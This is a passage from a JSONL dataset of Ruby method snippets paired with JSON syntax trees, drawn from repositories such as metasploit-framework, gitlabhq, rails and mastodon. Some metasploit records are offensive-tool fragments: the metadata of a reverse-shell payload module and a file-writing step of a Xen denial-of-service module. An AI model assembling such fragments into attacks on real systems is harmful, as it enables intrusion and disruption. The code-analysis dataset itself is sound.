end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_h\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"apiVersion\"]},{\"type\":\"str\",\"children\":[\"v1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"kind\"]},{\"type\":\"str\",\"children\":[\"Config\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"clusters\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"clusters\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_h\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"users\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_h\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contexts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"contexts\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_h\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current-context\"]},{\"type\":\"send\",\"children\":[null,\"current_context\"]}]}]},\"compact\"]}]}","id":"0d4eafa7-51d0-49b9-85f2-de1091122fd7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/modules.rb","start_line":373,"raw_source":"def cmd_search_help\n            print_line \"Usage: search [<options>] [<keywords>:<value>]\"\n            print_line\n            print_line \"Prepending a value with '-' will exclude any matching results.\"\n            print_line \"If no options or keywords are provided, cached results are displayed.\"\n            print_line\n            print @@search_opts.usage\n            print_line\n            print_line \"Keywords:\"\n            {\n              'action'      => 'Modules with a matching action name or description',\n              'adapter'     => 'Modules with a matching adapter reference name',\n              'aka'         => 'Modules with a matching AKA (also-known-as) name',\n              'arch'        => 'Modules affecting this architecture',\n              'att&ck'      => 'Modules with a matching MITRE ATT&CK ID or reference',\n              'author'      => 'Modules written by this author',\n              'bid'         => 'Modules with a matching Bugtraq ID',\n              'check'       => 'Modules that support the \\'check\\' method',\n              'cve'         => 'Modules with a matching CVE ID',\n              'date'        => 'Modules with a matching disclosure date',\n              'description' => 'Modules with a matching description',\n              'edb'         => 'Modules with a matching Exploit-DB ID',\n              'fullname'    => 'Modules with a matching full name',\n              'mod_time'    => 'Modules with a matching modification date',\n              'name'        => 'Modules with a matching descriptive name',\n              'osvdb'       => 'Modules with a matching OSVDB ID',\n              'path'        => 'Modules with a matching path',\n              'platform'    => 'Modules affecting this platform',\n              'port'        => 'Modules with a matching port',\n              'rank'        => 'Modules with a matching rank (Can be descriptive (ex: \\'good\\') or numeric with comparison operators (ex: \\'gte400\\'))',\n              'ref'         => 'Modules with a matching ref',\n              'reference'   => 'Modules with a matching reference',\n              'session_type' => 'Modules with a matching session type (SMB, MySQL, Meterpreter, etc)',\n              'stage'       => 'Modules with a matching stage reference name',\n              'stager'      => 'Modules with a matching stager reference name',\n              'target'      => 'Modules affecting this target',\n              'type'        => 'Modules of a specific type (exploit, payload, auxiliary, encoder, evasion, post, or nop)',\n            }.each_pair do |keyword, description|\n              print_line \"  #{keyword.ljust 17}:  #{description}\"\n            end\n            print_line\n            print_line \"Supported search columns:\"\n            {\n              'rank'                 => 'Sort modules by their exploitability rank',\n              'date'                 => 'Sort modules by their disclosure date. Alias for disclosure_date',\n              'disclosure_date'      => 'Sort modules by their disclosure date',\n              'name'                 => 'Sort modules by their name',\n              'type'                 => 'Sort modules by their type',\n              'check'                => 'Sort modules by whether or not they have a check method',\n              'action'                => 'Sort modules by whether or not they have actions',\n            }.each_pair do |keyword, description|\n              print_line \"  #{keyword.ljust 17}:  #{description}\"\n            end\n            print_line\n            print_line \"Examples:\"\n            print_line \"  search cve:2009 type:exploit\"\n            print_line \"  search cve:2009 type:exploit platform:-linux\"\n            print_line \"  search cve:2009 -s name\"\n            print_line \"  search type:exploit -s type -r\"\n            print_line \"  search att&ck:T1059\"\n            print_line\n          end","complexity_score":28.75,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_search_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: search [<options>] [<keywords>:<value>]\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Prepending a value with '-' will exclude any matching results.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"If no options or keywords are provided, cached results are displayed.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@search_opts\"]},\"usage\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Keywords:\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching action name or description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching adapter reference name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"aka\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching AKA (also-known-as) name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"arch\"]},{\"type\":\"str\",\"children\":[\"Modules affecting this architecture\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"att&ck\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching MITRE ATT&CK ID or reference\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"author\"]},{\"type\":\"str\",\"children\":[\"Modules written by this author\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"bid\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching Bugtraq ID\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"check\"]},{\"type\":\"str\",\"children\":[\"Modules that support the 'check' method\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cve\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching CVE ID\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"date\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching disclosure date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"edb\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching Exploit-DB ID\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"fullname\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching full name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"mod_time\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching modification date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching descriptive name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"osvdb\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching OSVDB ID\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"platform\"]},{\"type\":\"str\",\"children\":[\"Modules affecting this platform\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"port\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"rank\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching rank (Can be descriptive (ex: 'good') or numeric with comparison operators (ex: 'gte400'))\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ref\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching ref\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"reference\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching reference\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"session_type\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching session type (SMB, MySQL, Meterpreter, etc)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"stage\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching stage reference name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"stager\"]},{\"type\":\"str\",\"children\":[\"Modules with a matching stager reference name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"target\"]},{\"type\":\"str\",\"children\":[\"Modules affecting this target\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"Modules of a specific type (exploit, payload, auxiliary, encoder, evasion, post, or nop)\"]}]}]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"keyword\"]},{\"type\":\"arg\",\"children\":[\"description\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keyword\"]},\"ljust\",{\"type\":\"int\",\"children\":[17]}]}]},{\"type\":\"str\",\"children\":[\":  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"description\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Supported search columns:\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"rank\"]},{\"type\":\"str\",\"children\":[\"Sort modules by their exploitability rank\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"date\"]},{\"type\":\"str\",\"children\":[\"Sort modules by their disclosure date. Alias for disclosure_date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"disclosure_date\"]},{\"type\":\"str\",\"children\":[\"Sort modules by their disclosure date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Sort modules by their name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"Sort modules by their type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"check\"]},{\"type\":\"str\",\"children\":[\"Sort modules by whether or not they have a check method\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"Sort modules by whether or not they have actions\"]}]}]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"keyword\"]},{\"type\":\"arg\",\"children\":[\"description\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keyword\"]},\"ljust\",{\"type\":\"int\",\"children\":[17]}]}]},{\"type\":\"str\",\"children\":[\":  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"description\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Examples:\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"  search cve:2009 type:exploit\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"  search cve:2009 type:exploit platform:-linux\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"  search cve:2009 -s name\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"  search type:exploit -s type -r\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"  search att&ck:T1059\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]}]}]}","id":"53a5df5d-0249-4dfd-b237-86fdf61e7d4c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/cmd/unix/reverse_socat_sctp.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Unix Command Shell, Reverse SCTP (via socat)',\n        'Description' => 'Creates an interactive shell via socat',\n        'Author' => 'RageLtMan <rageltman[at]sempervictus>',\n        'License' => MSF_LICENSE,\n        'Platform' => 'unix',\n        'Arch' => ARCH_CMD,\n        'Handler' => Msf::Handler::ReverseSctp,\n        'Session' => Msf::Sessions::CommandShell,\n        'PayloadType' => 'cmd',\n        'RequiredCmd' => 'socat',\n        'Payload' => {\n          'Offsets' => {},\n          'Payload' => ''\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Unix Command Shell, Reverse SCTP (via socat)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Creates an interactive shell via socat\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"RageLtMan <rageltman[at]sempervictus>\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"ReverseSctp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"CommandShell\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"socat\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offsets\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}]}","id":"7ffcbe6a-793a-448d-8970-57f57265cce5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/header_builder.rb","start_line":15,"raw_source":"def add_next_page_header(query_params)\n          link = next_page_link(page_href(query_params))\n          header('Link', link)\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_next_page_header\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query_params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"link\",{\"type\":\"send\",\"children\":[null,\"next_page_link\",{\"type\":\"send\",\"children\":[null,\"page_href\",{\"type\":\"lvar\",\"children\":[\"query_params\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"header\",{\"type\":\"str\",\"children\":[\"Link\"]},{\"type\":\"lvar\",\"children\":[\"link\"]}]}]}]}","id":"488a0528-d2c0-4221-b28c-da191fb0b7e9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/dos/xen_420_dos.rb","start_line":180,"raw_source":"def write_files\n    @c_name = Rex::Text.rand_text_alpha(7..11).to_s\n    @c_file = \"#{@writeable_folder}/#{@c_name}.c\"\n    @make_file = \"#{@writeable_folder}/Makefile\"\n\n    vprint_status(\"Creating folder '#{@writeable_folder}'\")\n    cmd_exec(\"mkdir #{@writeable_folder}\")\n\n    vprint_status(\"Writing C code to '#{@c_file}'\")\n    write_file(@c_file, c_code)\n    vprint_status(\"Writing Makefile to '#{@make_file}'\")\n    write_file(@make_file, make_code)\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"write_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@c_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[7]},{\"type\":\"int\",\"children\":[11]}]}]},\"to_s\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@c_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@writeable_folder\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@c_name\"]}]},{\"type\":\"str\",\"children\":[\".c\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@make_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@writeable_folder\"]}]},{\"type\":\"str\",\"children\":[\"/Makefile\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating folder '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@writeable_folder\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"mkdir \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@writeable_folder\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Writing C code to '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@c_file\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"ivar\",\"children\":[\"@c_file\"]},{\"type\":\"send\",\"children\":[null,\"c_code\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Writing Makefile to '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@make_file\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"ivar\",\"children\":[\"@make_file\"]},{\"type\":\"send\",\"children\":[null,\"make_code\"]}]}]}]}","id":"96a76a81-fe28-4701-9cc8-b8fe4e939c59"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/admin/users/index.rb","start_line":41,"raw_source":"def expect_listed(*users)\n          rows = page.all \"td.username a\", count: users.count\n          expect(rows.map(&:text)).to include(*users.map(&:login))\n        end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_listed\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"users\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rows\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"all\",{\"type\":\"str\",\"children\":[\"td.username a\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"count\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]}]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"login\"]}]}]}]}]}]}]}]}","id":"7e8d3b6e-3d23-4e2b-aeba-450371bacf0f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/container_registry/client.rb","start_line":105,"raw_source":"def upload_blob(name, content, digest)\n      upload = faraday(timeout_enabled: false).post(\"/v2/#{name}/blobs/uploads/\")\n      return upload unless upload.success?\n\n      location = URI(upload.headers['location'])\n\n      faraday(timeout_enabled: false).put(\"#{location.path}?#{location.query}\") do |req|\n        req.params['digest'] = digest\n        req.headers['Content-Type'] = 'application/octet-stream'\n        req.body = content\n      end\n    end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_blob\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"content\"]},{\"type\":\"arg\",\"children\":[\"digest\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"faraday\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout_enabled\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"post\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/v2/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"/blobs/uploads/\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"success?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"location\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"location\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"faraday\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout_enabled\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"put\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\"?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"query\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"params\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"digest\"]},{\"type\":\"lvar\",\"children\":[\"digest\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"body=\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]}]}","id":"72447ca7-656d-428d-b805-8e46ba0d7279"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/render_test.rb","start_line":143,"raw_source":"def test_render_raw_template_with_handlers\n    assert_equal \"<%= hello_world %>\\n\", @view.render(template: \"plain_text\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_raw_template_with_handlers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<%= hello_world %>\\n\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"plain_text\"]}]}]}]}]}]}","id":"71c755a2-5c3c-4ec9-ab93-8767f70591b4"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/trends/statuses.rb","start_line":41,"raw_source":"def query\n    Query.new(key_prefix, klass)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Query\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"key_prefix\"]},{\"type\":\"send\",\"children\":[null,\"klass\"]}]}]}","id":"0c173a19-ccd4-4b0e-ad09-e683c3c3d847"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/eager_load_nested_include_test.rb","start_line":77,"raw_source":"def generate_test_object_graphs\n    1.upto(NUM_SIMPLE_OBJS) do\n      [Circle, Square, Triangle, NonPolyOne, NonPolyTwo].map(&:create!)\n    end\n    1.upto(NUM_SIMPLE_OBJS) do\n      PaintColor.create!(non_poly_one_id: NonPolyOne.sample.id)\n      PaintTexture.create!(non_poly_two_id: NonPolyTwo.sample.id)\n    end\n    1.upto(NUM_SHAPE_EXPRESSIONS) do\n      shape_type = [Circle, Square, Triangle].sample\n      paint_type = [PaintColor, PaintTexture].sample\n      ShapeExpression.create!(shape_type: shape_type.to_s, shape_id: shape_type.sample.id,\n                              paint_type: paint_type.to_s, paint_id: paint_type.sample.id)\n    end\n  end","complexity_score":32.5,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_test_object_graphs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"upto\",{\"type\":\"const\",\"children\":[null,\"NUM_SIMPLE_OBJS\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Circle\"]},{\"type\":\"const\",\"children\":[null,\"Square\"]},{\"type\":\"const\",\"children\":[null,\"Triangle\"]},{\"type\":\"const\",\"children\":[null,\"NonPolyOne\"]},{\"type\":\"const\",\"children\":[null,\"NonPolyTwo\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"create!\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"upto\",{\"type\":\"const\",\"children\":[null,\"NUM_SIMPLE_OBJS\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PaintColor\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\